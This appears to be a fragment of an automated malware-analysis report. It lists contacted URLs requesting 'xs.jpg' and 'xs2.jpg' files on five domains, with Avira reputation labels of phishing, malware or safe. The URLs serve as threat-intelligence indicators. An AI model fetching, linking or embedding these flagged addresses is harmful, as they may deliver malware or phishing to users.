http://apple-pie.in/images/xs.jpg?2eabe496=1566034220 true
  • Avira URL Cloud: phishing
 unknown
http://ampyazilim.com.tr/images/xs2.jpg?9010004=906362904 true
  • Avira URL Cloud: safe
 unknown
http://ampyazilim.com.tr/images/xs2.jpg?ac5b7b63=-1233100875 true
  • Avira URL Cloud: safe
 unknown
http://apple-pie.in/images/xs.jpg?c0085b83=2190860 true
  • Avira URL Cloud: phishing
 unknown
http://arthur.niria.biz/xs.jpg?4d6da8df=-1696902722 true
  • Avira URL Cloud: malware
 unknown
http://ampyazilim.com.tr/images/xs2.jpg?2be8bf39=-611599331 true
  • Avira URL Cloud: safe
 unknown
http://www.careerdesk.org/images/xs.jpg?10ed67fd=1987958763 true
  • Avira URL Cloud: malware
 unknown
http://ahmediye.net/xs.jpg?d32cd494=-752036716 true
  • Avira URL Cloud: safe
 unknown
http://ampyazilim.com.tr/images/xs2.jpg?bee7d50d=-1165547199 true
  • Avira URL Cloud: safe
 unknown
http://ahmediye.net/xs.jpg?77e1dd4f=1738905581 true
  • Avira URL Cloud: safe
 unknown
http://arthur.niria.biz/xs.jpg?28fcab5b=-1544376980 true
  • Avira URL Cloud: malware
 unknown
http://www.careerdesk.org/images/xs.jpg?e8ebb07=-2096852161 true
  • Avira URL Cloud: malware
 unknown
http://apple-pie.in/images/xs.jpg?29c644f8=1401719280 true
  • Avira URL Cloud: phishing
 unknown
http://ampyazilim.com.tr/images/xs2.jpg?23b8063f=-699390598 true
  • Avira URL Cloud: safe
 unknown
http://www.careerdesk.org/images/xs.jpg?11838a2=36729156 true
  • Avira URL Cloud: malware
 unknown
http://ahmediye.net/xs.jpg?e8e7cd9a=1195273424 true
  • Avira URL Cloud: safe
 unknown
http://ahmediye.net/xs.jpg?c8cad9e=1052730390 true
  • Avira URL Cloud: safe
 unknown
http://ampyazilim.com.tr/images/xs2.jpg?d64dcbbc=-1399089288 true
  • Avira URL Cloud: safe
 unknown
http://www.careerdesk.org/images/xs.jpg?96b3ddc7=-243051293 true
  • Avira URL Cloud: malware
 unknown
http://arthur.niria.biz/xs.jpg?7bdce87=1298796870 true
  • Avira URL Cloud: malware
 unknown
http://apple-pie.in/images/xs.jpg?b092bd4e=891856830 true
  • Avira URL Cloud: phishing
 unknown
http://ahmediye.net/xs.jpg?3bc3b77a=718443874 true
  • Avira URL Cloud: safe
 unknown
http://ahmediye.net/xs.jpg?15a39ca=204212250 true
  • Avira URL Cloud: safe
 unknown
http://apple-pie.in/images/xs.jpg?f396007=510836750 true
  • Avira URL Cloud: phishing
 unknown
http://apple-pie.in/images/xs.jpg?31491f6=51679734 true
  • Avira URL Cloud: phishing
 unknown
http://www.careerdesk.org/images/xs.jpg?196cfa85=-1308960349 true
  • Avira URL Cloud: malware
 unknown
http://www.careerdesk.org/images/xs.jpg?a44fd8bb=-1858116884 true
  • Avira URL Cloud: malware
 unknown
http://arthur.niria.biz/xs.jpg?d0ca9ad5=1918881919 true
  • Avira URL Cloud: malware
 unknown
http://ampyazilim.com.tr/images/xs2.jpg?d0e92fe1=-1580048446 true
  • Avira URL Cloud: safe
 unknown
http://arthur.niria.biz/xs.jpg?222ff603=1720705545 true
  • Avira URL Cloud: malware
 unknown
http://ampyazilim.com.tr/images/xs2.jpg?16ed0657=-833275633 true
  • Avira URL Cloud: safe
 unknown
http://ampyazilim.com.tr/images/xs2.jpg?8ace3555=-1966197419 true
  • Avira URL Cloud: safe
 unknown
http://ahmediye.net/xs.jpg?fd2ec80=1327406720 true
  • Avira URL Cloud: safe
 unknown
http://apple-pie.in/images/xs.jpg?1a62f99e=442694046 true
  • Avira URL Cloud: phishing
 unknown
http://arthur.niria.biz/xs.jpg?7558a477=-1072440630 true
  • Avira URL Cloud: malware
 unknown
http://ahmediye.net/xs.jpg?5640212f=1539369033 true
  • Avira URL Cloud: safe
 unknown
http://ahmediye.net/xs.jpg?98e1fd6=480927618 true
  • Avira URL Cloud: safe
 unknown